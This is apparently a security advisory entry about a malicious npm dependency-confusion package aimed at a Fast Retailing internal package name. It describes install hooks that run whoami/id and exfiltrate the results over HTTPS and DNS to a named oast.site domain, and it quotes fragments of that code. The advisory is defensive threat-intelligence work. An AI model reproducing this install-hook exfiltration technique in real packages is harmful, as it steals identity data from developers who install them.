GCVE-110-OSM-2026-10546

This is a dependency-confusion implant targeting a Fast Retailing internal package name, published by a brand-new account under version 99.99.99 to outrank an internal build. The install path is explicit: package.json runs `node exfil.js` in both `preinstall` and `postinstall`, and that file executes `whoami`/`id` via `child_process.execSync` before POSTing the results to the OAST domain `d9vbd1vstrb04vgt4dqg63k7yg55jhmt5.oast.site`. The DNS fallback in `dns.lookup(hex + '.' + MARK.toLowerCase() + '.' + OOB)` confirms intentional out-of-band exfiltration, not a harmless test stub. The attacker model is a dependency-confusion attacker stealing environment identity from unsuspecting installers, and the code matches that model directly. ENTRY exfil.js (install-hook: node exfil.js) - Install Hook Executes Local JS File in package.json - Postinstall Script in package.json DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in exfil.js: "oast.site" - Network Request in exfil.js: "https.request(" - DNS Lookup in exfil.js: "dns.lookup(" ADDITIONAL FINDINGS - Shell Command Execution in exfil.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES exfil.js